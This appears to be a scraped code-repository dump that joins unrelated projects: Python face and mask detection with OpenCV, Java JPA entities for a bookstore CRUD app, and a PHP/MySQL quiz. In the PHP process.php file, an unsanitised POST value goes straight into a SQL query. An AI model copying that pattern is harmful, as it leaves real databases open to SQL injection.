###################### Notes on Reading Coordinates #######################
# face_locations is an array listing the co-ordinates of each face.
# for example, an image containg 5 faces would return 5 sets of coordinates
# > face_locations = face_recognition.face_locations(img)
# > print (face_locations)
# >>> [(126, 394, 216, 305), (146, 185, 236, 96), (56, 484, 146, 394), (176, 534, 265, 444), (156, 285, 245, 195)]
#----------reading coordinates----------
# ex: (146, 185, 236, 96)
# x = 185, y = 236 is bottom right corner
# x = 185, y = 146 is top right corner
# x = 96, y = 146 is top left corner
# x = 96, y = 236 is bottom left corner
###################### For testing & demonstration #######################
def testFaceDetection(img):
face_locations = getCoordinates(img)
if not face_locations:
print("No faces found in this photograph.")
return False
print("Found {} face(s) in this photograph.".format(len(face_locations)))
for count, face_coords in enumerate(face_locations):
(top, right, bottom, left) = face_coords
print("Face {} located at pixel location Top: {}, Left: {}, Bottom: {}, Right: {}".format(count, top, left, bottom, right))
return True
def outlineFacesInImage(img):
face_locations = getCoordinates(img)
for face_coords in face_locations:
(top, right, bottom, left) = face_coords
cv2.rectangle(img, (left, top), (right, bottom), (0, 0, 225), 2)
displayImage(img)
def displayIndividualFaces(list_of_faces):
for face in list_of_faces:
displayImage(face)
def displayImage (image):
cv2.imshow('', image)
cv2.waitKey()
def show_results(img, face_list, mask_detection_list):
font = cv2.FONT_HERSHEY_DUPLEX
index=0
for (top, right, bottom, left) in face_list:
if mask_detection_list[index]==True:
outline_color = (255, 0, 0) #red
label = "Mask"
else:
outline_color = (0, 0, 255) #blue
label = "No Mask"
cv2.rectangle(img, (left, top), (right, bottom), outline_color, 2)
cv2.putText(img, label, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1)
index=index+1
cv2.imshow('', img)
cv2.waitKey()
return
if __name__ == '__main__':
#img = cv2.imread('Photos_Directory' + '/' + 'students.jpg')
img_path = 'Photos_Directory' + '/' + 'students.jpg'
colored_img = cv2.imread(img_path)
img = face_recognition.load_image_file(img_path)
if testFaceDetection(img):
#outlineFacesInImage(img)
#facesPerImage = getListOfFaces(img)
#displayIndividualFaces(facesPerImage)
analyzer = mask_analysis_system()
coordinate_list = getCoordinates(img)
face_list = getListOfFaces(img)
judge_list = analyzer.analysis(face_list)
show_results(colored_img, coordinate_list, judge_list)
<file_sep>import numpy as np
import cv2
from scipy import spatial
def get_center_coordinate(coordinate_list):
center_coordinate_list = []
for eye in coordinate_list:
(x, y, w, h) = eye
center_coordinate = (x + 0.5 * w, y + 0.5 * h)
center_coordinate_list.append(center_coordinate)
return center_coordinate_list
def get_center_and_radius(eye_center_list):
coordinate_list=[]
while len(eye_center_list) > 1:
center=eye_center_list.pop(0)
tree = spatial.KDTree(eye_center_list)
distance, center_pair_index=tree.query([center])
distance=distance[0]
(center_pair_x, center_pair_y)=eye_center_list[center_pair_index[0]]
(center_x, center_y)=center
center_face_x = (center_x + center_pair_x) / 2
center_face_y = (center_y + center_pair_y) / 2
eye_center_list.pop(center_pair_index[0])
x_radius = distance * 3.5
y_radius = distance * 4.5
face_coordinate = (int(center_face_x - x_radius / 2), int(center_face_y - y_radius / 2),
int(x_radius), int(y_radius))
coordinate_list.append(face_coordinate)
return coordinate_list
def get_faces_by_eyes(eyes_list):
eyes_center_list=get_center_coordinate(eyes_list)
return get_center_and_radius(eyes_center_list)
def getFaceCoordinates(img, faceCascade):
# Load the cascade
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
eyes = faceCascade.detectMultiScale(
gray,
scaleFactor=1.1,
minNeighbors=5,
)
faces = get_faces_by_eyes(eyes)
return faces
# -----------------------SPLIT SYSTEM------------------------
def getListOfFaces(img, face_locations):
width = height = 224
list_of_faces = []
for face_coords in face_locations:
(x, y, w, h) = face_coords
x=max(0, x)
y=max(0, y)
right=min(len(img[0]), x+w)
top=min(len(img), y+h)
face_image = img[y:top,x:right]
resized = cv2.resize(face_image, (width, height))
list_of_faces.append(resized)
return list_of_faces
def testGetFaceCoordinates():
# Read the input image
img = cv2.imread('Photos_Directory/students.jpg')
face_finder = cv2.CascadeClassifier('haarcascade_eye_tree_eyeglasses.xml')
face_coordinates = getFaceCoordinates(img, face_finder)
# Draw rectangle around the faces\
for (x, y, w, h) in face_coordinates:
cv2.rectangle(img, (int(x), int(y)), (int(x + w), int(y + h)), (255, 0, 0), 2)
# Display the output
cv2.imshow('img', img)
cv2.waitKey()
if __name__ == '__main__':
testGetFaceCoordinates()
<file_sep>#from image_cascadeClassifier import *
from mask_analysis import *
from video_integration import *
import cv2
import face_recognition
from detect_and_split import *
import numpy as np
def integrated_system():
analyzer=mask_analysis_system()
cap = cv2.VideoCapture(0)
process_this_frame = True
while True:
_, frame = cap.read()
# Resize frame of video to 1/4 size for faster face recognition processing
scale_size = 4
small_frame = cv2.resize(frame, (0, 0), fx=1/scale_size, fy=1/scale_size)
# Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)
rgb_small_frame = small_frame[:, :, ::-1]
# Only process every other frame of video to save time
if process_this_frame:
coordinate_list = getCoordinates(rgb_small_frame)
face_list = getListOfFaces(rgb_small_frame)
judge_list = analyzer.analysis(face_list)
video_integration_with_scale(frame, coordinate_list, judge_list, scale_size)
process_this_frame = not process_this_frame
k = cv2.waitKey(60) & 0xff
if k == 27:
break
#this shows just your face
# count=0
# for face in face_list:
# count=count+1
# cv2.imshow('img'+str(count), face)
if __name__ == '__main__':
integrated_system()
<file_sep>class MyNet(nn.Module):
def __init__(self):
super(MyNet, self).__init__()
self.pad = nn.ReflectionPad2d(3)
self.pool = nn.MaxPool2d(2, 2)
self.cv_1 = nn.Conv2d(3, 32, kernel_size=7, padding=0, bias=False)
self.cv_2 = nn.Conv2d(32, 64, kernel_size=3, stride=2, padding=1, bias=False)
self.cv_3 = nn.Conv2d(64, 128, kernel_size=3, stride=2, padding=1, bias=False)
self.fc_1 = nn.Linear(128*224*224, 64)
self.fc_2 = nn.Linear(64, 16)
self.fc_3 = nn.Linear(16, 2)
def forward(self, x):
x = self.pad(x)
x1 = self.pool(F.relu(self.cv_1(x)))
x2 = self.pool(F.relu(self.cv_2(x1)))
x3 = self.pool(F.relu(self.cv_3(x2)))
bs = x3.shape[0]
x3 = x3.view(bs, -1)
x4 = F.tanh(self.fc_1(x3))
x5 = F.tanh(self.fc_2(x4))
x6 = F.tanh(self.fc_3(x5))
return x6 | 06f0b18811e5464d13d5515740ca7d0251716ea9 | [
"Python"
] | 6 | Python | YuqianX/APS360-Project | a562160e0aa0038820f128af5631ff3e8c2e1cc5 | a7bce15c9a6314298de918c2b83f01de9c80a27d |
refs/heads/master | <repo_name>tomasabril/DB_CRUD<file_sep>/DbCRUD/src/tabelas/PedidoDetalhes.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package tabelas;
import java.io.Serializable;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Table;
/**
*
* @author tomas
*/
@Entity
@Table(name = "pedidos_detalhe")
public class PedidoDetalhes implements Serializable {
@Id
private Integer DETALHE_ID;
private Integer PEDIDO_ID;
private Integer LIVRO_ID;
private Integer QTD;
/**
* @return the DETALHE_ID
*/
public Integer getDETALHE_ID() {
return DETALHE_ID;
}
/**
* @param DETALHE_ID the DETALHE_ID to set
*/
public void setDETALHE_ID(Integer DETALHE_ID) {
this.DETALHE_ID = DETALHE_ID;
}
/**
* @return the PEDIDO_ID
*/
public Integer getPEDIDO_ID() {
return PEDIDO_ID;
}
/**
* @param PEDIDO_ID the PEDIDO_ID to set
*/
public void setPEDIDO_ID(Integer PEDIDO_ID) {
this.PEDIDO_ID = PEDIDO_ID;
}
/**
* @return the LIVRO_ID
*/
public Integer getLIVRO_ID() {
return LIVRO_ID;
}
/**
* @param LIVRO_ID the LIVRO_ID to set
*/
public void setLIVRO_ID(Integer LIVRO_ID) {
this.LIVRO_ID = LIVRO_ID;
}
/**
* @return the QTD
*/
public Integer getQTD() {
return QTD;
}
/**
* @param QTD the QTD to set
*/
public void setQTD(Integer QTD) {
this.QTD = QTD;
}
@Override
public String toString() {
return getDETALHE_ID() + "-" + getLIVRO_ID() + "-" + getQTD();
}
}
<file_sep>/DbCRUD/build/generated-sources/ap-source-output/tabelas/PedidoDetalhes_.java
package tabelas;
import javax.annotation.Generated;
import javax.persistence.metamodel.SingularAttribute;
import javax.persistence.metamodel.StaticMetamodel;
@Generated(value="EclipseLink-2.5.2.v20140319-rNA", date="2015-12-01T19:17:59")
@StaticMetamodel(PedidoDetalhes.class)
public class PedidoDetalhes_ {
public static volatile SingularAttribute<PedidoDetalhes, Integer> QTD;
public static volatile SingularAttribute<PedidoDetalhes, Integer> PEDIDO_ID;
public static volatile SingularAttribute<PedidoDetalhes, Integer> DETALHE_ID;
public static volatile SingularAttribute<PedidoDetalhes, Integer> LIVRO_ID;
}<file_sep>/README.md
# DB_CRUD
Desenvolver um CRUD (inserção, alteração, exclusão, consulta) sobre o banco de dados de livraria, usando ao menos as entidades para Genero, Livro e Pedido, e suas tabelas.
<file_sep>/DbCRUD/src/tabelas/Usuarios.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package tabelas;
import java.io.Serializable;
import javax.persistence.*;
/**
*
* @author toams
*/
@Entity
@Table(name = "usuarios")
public class Usuarios implements Serializable {
@Id
private Integer USUARIO_ID;
private String NOME;
private String ENDERECO;
private String BAIRRO;
private String CIDADE;
/**
* @return the USUARIO_ID
*/
public Integer getUSUARIO_ID() {
return USUARIO_ID;
}
/**
* @param USUARIO_ID the USUARIO_ID to set
*/
public void setUSUARIO_ID(Integer USUARIO_ID) {
this.USUARIO_ID = USUARIO_ID;
}
/**
* @return the NOME
*/
public String getNOME() {
return NOME;
}
/**
* @param NOME the NOME to set
*/
public void setNOME(String NOME) {
this.NOME = NOME;
}
/**
* @return the ENDERECO
*/
public String getENDERECO() {
return ENDERECO;
}
/**
* @param ENDERECO the ENDERECO to set
*/
public void setENDERECO(String ENDERECO) {
this.ENDERECO = ENDERECO;
}
/**
* @return the BAIRRO
*/
public String getBAIRRO() {
return BAIRRO;
}
/**
* @param BAIRRO the BAIRRO to set
*/
public void setBAIRRO(String BAIRRO) {
this.BAIRRO = BAIRRO;
}
/**
* @return the CIDADE
*/
public String getCIDADE() {
return CIDADE;
}
/**
* @param CIDADE the CIDADE to set
*/
public void setCIDADE(String CIDADE) {
this.CIDADE = CIDADE;
}
@Override
public String toString() {
return getUSUARIO_ID() + "-" + getNOME();
}
}
| f1b28bf31e5382811fb275b189a63bc49a1bf96d | [
"Markdown",
"Java"
] | 4 | Java | tomasabril/DB_CRUD | 4d4d3f187a9db04aef5b39b0b2535174aafcb239 | 173d8361785a874d83407c9d9023a77eedb13bc4 |
refs/heads/master | <repo_name>israeldago/bancaLIB<file_sep>/src/service/ConturiServiceRemote.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package service;
import dto.ContDTO;
import dto.TransactionDTO;
import java.util.List;
/**
*
* @author <NAME>
*/
public interface ConturiServiceRemote {
public void addAccount(ContDTO contDTO);
public void removeAccount(ContDTO contDTO);
public List<ContDTO> allAccounts();
public void depunereNumar(TransactionDTO transactionDTO);
public void retragereNumar(TransactionDTO transactionDTO);
public void transferNumar(TransactionDTO transactionDTO);
}
<file_sep>/src/dto/ContDTO.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package dto;
/**
*
* @author <NAME>
*/
public class ContDTO implements java.io.Serializable{
private Integer id;
private String iban, descriere;
private Double sold;
private String creationDate, action;
private boolean active;
private ClientDTO client;
private TransactionDTO transactionDTO;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getIban() {
return iban;
}
public void setIban(String iban) {
this.iban = iban;
}
public String getDescriere() {
return descriere;
}
public void setDescriere(String descriere) {
this.descriere = descriere;
}
public Double getSold() {
return sold;
}
public void setSold(Double sold) {
this.sold = sold;
}
public String getCreationDate() {
return creationDate;
}
public void setCreationDate(String creationDate) {
this.creationDate = creationDate;
}
public boolean isActive() {
return active;
}
public void setActive(boolean active) {
this.active = active;
}
public ClientDTO getClient() {
return client;
}
public void setClient(ClientDTO client) {
this.client = client;
}
public String getAction() {
return action;
}
public void setAction(String action) {
this.action = action;
}
public TransactionDTO getTransactionDTO() {
return transactionDTO;
}
public void setTransactionDTO(TransactionDTO transactionDTO) {
this.transactionDTO = transactionDTO;
}
public ContDTO() {
}
public ContDTO(Integer id, String iban, String descriere, Double sold, String creationDate, boolean active, ClientDTO client) {
this.id = id;
this.iban = iban;
this.descriere = descriere;
this.sold = sold;
this.creationDate = creationDate;
this.active = active;
this.client = client;
}
public ContDTO(Integer id, String iban, String descriere, Double sold, String creationDate, boolean active) {
this.id = id;
this.iban = iban;
this.descriere = descriere;
this.sold = sold;
this.creationDate = creationDate;
this.active = active;
}
}
<file_sep>/src/service/ClientiServiceRemote.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package service;
import dto.ClientDTO;
import java.util.List;
import javax.ejb.Remote;
/**
*
* @author <NAME>
*/
@Remote
public interface ClientiServiceRemote {
public void adaugaClient(ClientDTO clientDTO);
public void removeClient(ClientDTO clientDTO);
public List<ClientDTO> allClienti();
}
| cf6d6c85a394694d946f2dcc948e6a1e1c0e4818 | [
"Java"
] | 3 | Java | israeldago/bancaLIB | 3387d8f838ed668dfb7176893c6622f471332bf1 | 59a3d4e85c1bf628b820cd0a30e07a44f23a3e62 |
refs/heads/master | <file_sep>def ftoc(tempf)
((tempf - 32) / 1.8).to_f.round
end
def ctof(tempc)
((tempc * 9/5) + 32).to_f.round
end<file_sep>def add(x, y)
x + y
end
def subtract(a, b)
a - b
end
def sum(arr)
if arr == []
return 0
else
arr.reduce(:+)
end
end<file_sep>def echo(word_echo)
"#{word_echo}"
end
def shout(word_shout)
"#{word_shout}".upcase
end
def repeat(word_repeat, n=2)
repeater = []
n.times do
repeater << word_repeat
end
repeater.join(" ")
end
def start_of_word(word, n=1)
letters = word.split("")
new_word = letters[0..n-1]
new_word.join("")
end
def first_word(word_arr)
word_arr.split.first
end
def titleize(titles)
titles = titles.split(" ")
little_words = ["and", "over", "the"]
titles.each do |title|
unless little_words.include?(title)
title.capitalize!
end
end
titles.first.capitalize!
titles.join(" ")
end
| 78704036801e642f5648b0dff4b6a12478cfd1b9 | [
"Ruby"
] | 3 | Ruby | mitchbank/learn_ruby | 0fe2228fb0a44685e3b44788b119ceae592ded26 | b1cdca04adb2fd7dad3d1b58d6968034cdc6a6bc |
refs/heads/master | <repo_name>aimflaiims/snake-game.github.io<file_sep>/src/components/Navigation.js
import React from "react";
import {NavLink} from 'react-router-dom'
const Navigation = () => {
return (
<div>
<nav className="navbar navbar-default">
<div className="container-fluid">
<div className="navbar-header">
<NavLink className="navbar-brand" to="/">
Crazy Snake
</NavLink>
<NavLink to="/login">Login</NavLink>
</div>
</div>
</nav>
</div>
);
};
export default Navigation;
<file_sep>/src/components/Snake.js
import React, { Component } from "react";
const Cell = (props) => {
// console.log(props);
const className = `cell
${props.food ? "cell--food" : ""}
${props.snake ? "cell--snake" : ""}
`;
return (
<div className={className} style={{ width: '15px', height: '15px' }}>
</div>
);
}
class Ground extends Component {
constructor(props) {
super(props);
this.state = {
snake: [],
food: [],
status: 'Initialized',
direction: 40,
laziness: 130,
score: 0,
lockDirection: false
};
this.moveToward = this.moveToward.bind(this);
this.startGame = this.startGame.bind(this);
this.moveSnake = this.moveSnake.bind(this);
this.moveFood = this.moveFood.bind(this);
this.stopGame = this.stopGame.bind(this);
this.removeTimers = this.removeTimers.bind(this);
this.selfBitten = this.selfBitten.bind(this);
}
startGame() {
this.removeTimers();
const x = parseInt(Math.random() * this.props.size);
const y = parseInt(Math.random() * this.props.size);
this.setState({
snake: [[5, 7]],
food: [x, y],
status: "Running",
laziness: 130,
score: 0
});
this.moveSnakeInterval = setInterval(this.moveSnake, this.state.laziness);
this.el.focus();
}
moveSnake() {
const newPostion = [];
switch (this.state.direction) {
case 38:
newPostion[0] = [this.state.snake[0][0], this.state.snake[0][1] - 1];
break;
case 40:
newPostion[0] = [this.state.snake[0][0], this.state.snake[0][1] + 1];
break;
case 37:
newPostion[0] = [this.state.snake[0][0] - 1, this.state.snake[0][1]];
break;
case 39:
newPostion[0] = [this.state.snake[0][0] + 1, this.state.snake[0][1]];
break;
default:
break;
}
if (!newPostion[0]) {
return;
}
if (this.isCollide(newPostion[0]) || this.selfBitten(newPostion[0])) {
console.log("Game Over");
console.log(this.state.snake.length);
this.stopGame()
return;
}
[].push.apply(
newPostion,
this.state.snake.slice(1).map((s, i) => {
return this.state.snake[i];
})
);
this.setState({
snake: newPostion,
lockDirection: false,
});
// console.log(newPostion);
this.eatFood(newPostion[0]);
}
moveFood() {
if (this.moveFoodTimeout) clearTimeout(this.moveFoodTimeout)
const x = parseInt(Math.random() * this.props.size);
const y = parseInt(Math.random() * this.props.size);
this.setState({ food: [x, y] });
this.moveFoodTimeout = setTimeout(this.moveFood, 6000)
}
eatFood(snakeHead) {
if (snakeHead[0] === this.state.food[0] && snakeHead[1] === this.state.food[1]) {
let newSnake = this.state.snake;
newSnake.push([-1, 1]);
this.setState({
snake: newSnake
});
this.moveFood();
// subtracting the laziness actually increase the speed
this.setState(prevState => ({
laziness: prevState.laziness - 1
}));
this.setState(prevState => ({
score:
prevState.snake.length * (130 - prevState.laziness)
}));
if (this.moveSnakeInterval) {
clearInterval(this.moveSnakeInterval);
this.moveSnakeInterval = setInterval(this.moveSnake, this.state.laziness);
}
}
};
stopGame() {
this.removeTimers();
this.setState({
status: 'Game Over'
})
fetch("http://localhost:3000/", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/json"
},
body: JSON.stringify(this.state)
});
}
removeTimers() {
if (this.moveSnakeInterval) clearInterval(this.moveSnakeInterval);
if (this.moveFoodTimeout) clearTimeout(this.moveFoodTimeout)
}
selfBitten(snakeHead) {
let bitten = false;
this.state.snake.forEach(element => {
if (element[0] === snakeHead[0] && element[1] === snakeHead[1]) {
console.log("Oops self bitten");
// console.log(snakeHead);
bitten = true;
}
});
return bitten;
}
isCollide(snakeHead) {
if (snakeHead[0] < 0 || snakeHead[0] >= 20 || snakeHead[1] < 0 || snakeHead[1] >= 20) {
// console.log(snakeHead)
return true;
} else {
return false;
}
}
moveToward({ keyCode }) {
let changeDirection = true;
[[38, 40], [37, 39]].forEach(dir => {
if (dir.indexOf(this.state.direction) > -1 && dir.indexOf(keyCode) > -1) {
changeDirection = false;
}
});
if (changeDirection && this.state.lockDirection===false && [38, 40, 37, 39].indexOf(keyCode) > -1) {
this.setState({
direction: keyCode,
lockDirection: true
});
}
}
render() {
const ground = [...Array(this.props.size)].map((_, i) => i);
const cells = ground.map(y => {
return ground.map(x => {
const isFood = this.state.food[0] === x && this.state.food[1] === y;
let isSnake = this.state.snake.filter(b => b[0] === x && b[1] === y);
// console.log(isSnake);
isSnake = isSnake.length && isSnake[0];
return (
<Cell snake={isSnake} food={isFood} key={x + "," + y} />
);
});
});
return (
<div>
<div className="row card">
<span> Score: {this.state.score}
</span>
<span> Status: {this.state.status}</span>
<span> Laziness: {this.state.laziness}</span>
</div>
<hr />
{this.state.status === 'Game Over' ? <LoginModal /> : null }
<div className="row">
<div className="d-inline-flex">
<button
onClick={this.startGame}
className="btn btn-primary"
disabled={this.state.status === 'Running' ? true : false}>
Start
</button>
<div
className="ground"
onKeyDown={this.moveToward}
style={{
width: this.props.size * 15 + "px",
height: this.props.size * 15 + "px"
}}
ref={el => (this.el = el)}
tabIndex={-1}
>
{cells}
</div>
</div>
</div>
</div>
);
}
}
class LoginModal extends Component {
render() {
return(
<div>
Open Login Modal
</div>
);
};
}
export default Ground;<file_sep>/src/components/Login.js
import React, { Component } from "react";
class Login extends Component {
constructor(props) {
super(props);
this.login = this.login.bind(this);
}
login(){
this.props.login({ username: 'rohit', user_id: '12' });
};
render() {
return (
<div className="col-md-6">
<h1>Login or Register</h1>
<form>
<div className="form-group">
<label for="username">Username</label>
<input name="username" type="text" className="form-control" placeholder="Please enter your username here." />
</div>
<div className="form-group">
<label for="password">Password</label>
<input name="password" type="<PASSWORD>" className="form-control" placeholder="Please enter your password here." />
</div>
<button className="btn btn-success form-control" onClick={this.login} type="button">Submit</button>
</form>
</div>
);
}
}
export default Login; | b304eca42b9b6c46701d0fc59d2409f29a1e4a33 | [
"JavaScript"
] | 3 | JavaScript | aimflaiims/snake-game.github.io | 94276c4eaa5af1acdb922e3170e24c3e95d87d30 | 4a2ba2d4dab730ca6226e14927eb54b4504e61bf |
refs/heads/master | <repo_name>utkarsh2kalia/Movie-Review-Sentiment-Analyser<file_sep>/myapp.py
import pickle
from imdb import IMDb
import bs4
import requests
import re
from flask import Flask, flash, jsonify, redirect, render_template, request, session
from googletrans import Translator
translator = Translator()
# myinput = str(input())
# print(myinput)
translation = translator.translate(input(), dest='hi')
print(translator.translate(str(translation.text), dest='en').text)
app = Flask(__name__)
app.config["TEMPLATES_AUTO_RELOAD"] = True
ia = IMDb()
# from sklearn.externals import joblib
# joblib.dump(clf1, "../output" )
# filename = 'finalized_model.sav'
# joblib.dump(clf1, open(filename, 'wb'))
# from sklearn.feature_extraction.text import CountVectorizer
# cv = CountVectorizer(max_features=1000)
model1 = pickle.load(open("gbmodel.sav", 'rb'))
# result1 = model1.predict(my_test)
model2 = pickle.load(open("mbmodel.sav", 'rb'))
# result2 = model2.predict(my_test)
model3 = pickle.load(open("bbmodel.sav", 'rb'))
# result3 = model3.predict(my_test)
mycv = pickle.load(open("allfeatures.sav", 'rb'))
# mv_sentiment = mycv.transform(text).toarray()
# result4 = model1.predict(mv_sentiment)
# result5 = model2.predict(mv_sentiment)
# result6 = model3.predict(mv_sentiment)
<file_sep>/app.py
import pickle
from imdb import IMDb
import bs4
import requests
import re
from flask import Flask, flash, jsonify, redirect, render_template, request, session
app = Flask(__name__)
app.config["TEMPLATES_AUTO_RELOAD"] = True
ia = IMDb()
# from sklearn.externals import joblib
# joblib.dump(clf1, "../output" )
# filename = 'finalized_model.sav'
# joblib.dump(clf1, open(filename, 'wb'))
# from sklearn.feature_extraction.text import CountVectorizer
# cv = CountVectorizer(max_features=1000)
model1 = pickle.load(open("gbmodel.sav", 'rb'))
# result1 = model1.predict(my_test)
model2 = pickle.load(open("mbmodel.sav", 'rb'))
# result2 = model2.predict(my_test)
model3 = pickle.load(open("bbmodel.sav", 'rb'))
# result3 = model3.predict(my_test)
mycv = pickle.load(open("allfeatures.sav", 'rb'))
# test2 = mycv.transform(text).toarray()
# result4 = model1.predict(test2)
# result5 = model2.predict(test2)
# result6 = model3.predict(test2)
@app.route("/")
def index():
return render_template("search_movie.html")
@app.route("/movies", methods=["GET", "POST"])
def movies():
movie_name = request.form.get("movie_name")
print(movie_name)
search_results = ia.search_movie(movie_name)
listt = {}
for i in range(0, len(search_results)):
year = ""
if 'year' in search_results[i].keys():
year = search_results[i]['year']
listt[i] = [search_results[i]['title'],
search_results[i].movieID, year]
# movie = ia.search_movie('Titanic')[0].movieID
print(listt)
return render_template("search_results.html", listt=listt)
@app.route("/sentiment", methods=["GET"])
def sentiment():
# movie_name = request.form.get("movie_name")
# # display the names
# # get the id of the movie searched
# movie = ia.search_movie(movie_name)[0].movieID
movie = str(request.args.get('movieID'))
movie_name = str(request.args.get('movie_name'))
print(movie)
# get all the info of the movie
movie_info = ia.get_movie(movie, info=['reviews'])
review_length = len(movie_info['reviews'])
mylist = {}
for i in range(0, review_length):
review_data = movie_info['reviews'][i]
text = [review_data['content'].replace("\'", "")]
# print(text)
# rating = review_data['rating']
mv_sentiment = mycv.transform(text).toarray()
result4 = model1.predict(mv_sentiment)
result5 = model2.predict(mv_sentiment)
result6 = model3.predict(mv_sentiment)
mylist["review"+str(i+1)] = {"sentiment": ["Negative" if result4[0]
== 0 else "Positive", "Negative" if result5[0]
== 0 else "Positive", "Negative" if result6[0]
== 0 else "Positive"], "content": text, "movie_name": movie_name}
# print(movie_info['reviews'][0])
# print(mylist)
return render_template("sentiment.html", mylist=mylist)
# return mylist
# ia = IMDb()
# # get the id from movie name
print(ia.get_movie_infoset())
# movie = ia.search_movie('Titanic')[0]['year']
# print(movie)
# # movie = ia.get_movie('0133093', info=['reviews'])
# # get movie details
# mymovie = ia.get_movie(movie, info=['reviews'])
# # store teh first review
# print(mymovie['year'])
# text = [mymovie['reviews'][4]['content']]
# # open the saved countvectorizer
# filename1 = "features.sav"
# mycv = pickle.load(open(filename1, 'rb'))
# text = [
# "You can watch this movie in 1997, you can watch it again in 2004 or 2009 or you can watch it in 2015 or 2020, and this movie will get you EVERY TIME. Titanic has made itself FOREVER a timeless classic! I just saw it today (2015) and I was crying my eyeballs out JUST like the first time I saw it back in 1998. This is a movie that is SO touching, SO precise in the making of the boat, the acting and the storyline is BRILLIANT! And the preciseness of the ship makes it even more outstanding! <NAME> and <NAME> definitely created a timeless classic that can be watched time and time again and will never get old. This movie will always continue to be a beautiful, painful & tragic movie. 10/10 stars for this masterpiece!"]
# my_test = mycv.transform(text).toarray()
# model1 = pickle.load(open("gbmodel.sav", 'rb'))
# result1 = model1.predict(my_test)
# model2 = pickle.load(open("mbmodel.sav", 'rb'))
# result2 = model2.predict(my_test)
# model3 = pickle.load(open("bbmodel.sav", 'rb'))
# result3 = model3.predict(my_test)
# mycv = pickle.load(open("allfeatures.sav", 'rb'))
# test2 = mycv.transform(text).toarray()
# result4 = model1.predict(test2)
# result5 = model2.predict(test2)
# result6 = model3.predict(test2)
# print(result1, result2, result3, result4, result5, result6)
# # print(test2)
# # filename = 'finalized_model1.sav'
# # loaded_model = pickle.load(open(filename, 'rb'))
# # result = loaded_model.predict(test2)
# # print(result)
# # loaded_model = joblib.load(open(filename, 'rb'))
# # result = loaded_model.predict(my_test)
# # print(result)
# # print(ia.get_movie_infoset())
# # url = "https://www.imdb.com/title/tt0088727/reviews?ref_=tt_urv"
# # movie = ia.get_movie('0133093', info=['reviews'])
# # print(movie.get('critic reviews'))
# # movie = ia.get_movie('0094226', info=['reviews'])
# # print(movie.current_info)
# # plot = movie['reviews'][0]["content"]
# # print(plot)
# # for genre in the_matrix['review']:
# # print(genre)
# # r = requests.get(url, allow_redirects=True)
# # open('imdb.html', 'wb').write(r.content)
# # soup = bs4.BeautifulSoup(r.content, 'html.parser')
# # content = soup.find_all("div", class_="text show-more__control")
# # reviews = []
# # def cleanhtml(raw_html):
# # cleanr = re.compile('<.*?>')
# # cleantext = re.sub(cleanr, '', raw_html)
# # return cleantext
# # for elm in content:
# # reviews.append(cleanhtml(str(elm)))
# # print(reviews[0])
<file_sep>/templates/custom_review.html
{% extends "layout.html" %}
{% block main %}
<div class="container">
<h1>Is your review positive, or negative?</h1>
<p>Enter your review below and click submit to find out...</p>
<form method="POST"
action="/custom_review"
onsubmit="return submitForm(this);" > <!-- HERE IS WHERE YOU NEED TO ENTER THE API URL -->
<div class="form-group">
<label for="review">Review:</label>
<textarea class="form-control" rows="5" name="review" id="review" placeholder="Please write your review here."></textarea>
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
<h1 class="bg-success" id="result"></h1>
</div>
{% endblock %} | df2fce0f0655acc96375eaa28fe90f735284b995 | [
"Python",
"HTML"
] | 3 | Python | utkarsh2kalia/Movie-Review-Sentiment-Analyser | d2a26c4fd183a5c4d1c66150f1d966af8f0a0db0 | c5cb91fd26e84ee18b722caaaf67656416ad98e2 |
refs/heads/master | <repo_name>mahdi-mahdawi/Cowl-group<file_sep>/README.md
# COWL Online Writing Lab
<file_sep>/index.php
<?php include 'database.php'; ?>
<?php
//Get total questions
$query="SELECT * FROM question";
//get results
$results= $mysqli->query($query) or die($mysqli->error.__LINE__);
$total= $results->num_rows;
?>
<html>
<head>
<meta charset="utf-8" />
<title>PROTO</title>
<link rel="stylesheet" href="css/style.css" type="text/css" />
</head>
<body>
<header>
<div class="container">
<h1>CAPS COWL PROTOTYPE</h1>
</div>
</header>
<main>
<div class="container">
<h2> CAPS COWL PROTOTYPE </h2>
<p>This is a multiple choice quiz</p>
<ul>
<li><strong>Number of Questions:</strong><?php echo $total;?></li>
<li><strong>Type:</strong>Multiple Choice</li>
<li><strong>Estimated Time:</strong><?php echo $total*.5;?> Minutes</li>
</ul>
<a href="vid1.html" class="start">Start Quiz</a>
</div>
</main>
<footer>
<div class="container">
Copyright © 2018, CAPS COWL PROTOTYPE
</div>
</footer>
</body>
</html><file_sep>/process.php
<?php include 'database.php';?>
<?php session_start();?>
<?php
// check to see if score is set_error_handler
if(! isset($_SESSION['score']))
{
$_SESSION['score']= 0;
}
if( $_POST)
{
$number= $_POST['number'];
$selected_choice= $_POST['choice'];
//echo $number.'<br>';
//echo $selected_choice;
$next = $number+1;
/*
//Get total questions
*/
$query= "SELECT * FROM question";
//Get result
$results= $mysqli->query($query) or die ($mysqli->error.__LINE__);
$total= $results->num_rows;
/*
//get correct choice
*/
$query = "SELECT * FROM choices
WHERE question_number= $number AND is_correct = 1";
//get result
$result= $mysqli->query($query) or die ($mysqli->error.__LINE__);
//get row
$row= $result ->fetch_assoc();
//Set correct choice
$correct_choice= $row['id'];
//Compare
if($correct_choice== $selected_choice)
{
//Answer is correct
$_SESSION['score']++;
}
//check if last question
if($number== $total)
{
header("Location: final.php");
exit();
}
else
{
header("Location: question.php? n=".$next);
}
}
?>
| 481b5f44c04484e2c9eced70693028a7ba94c727 | [
"Markdown",
"PHP"
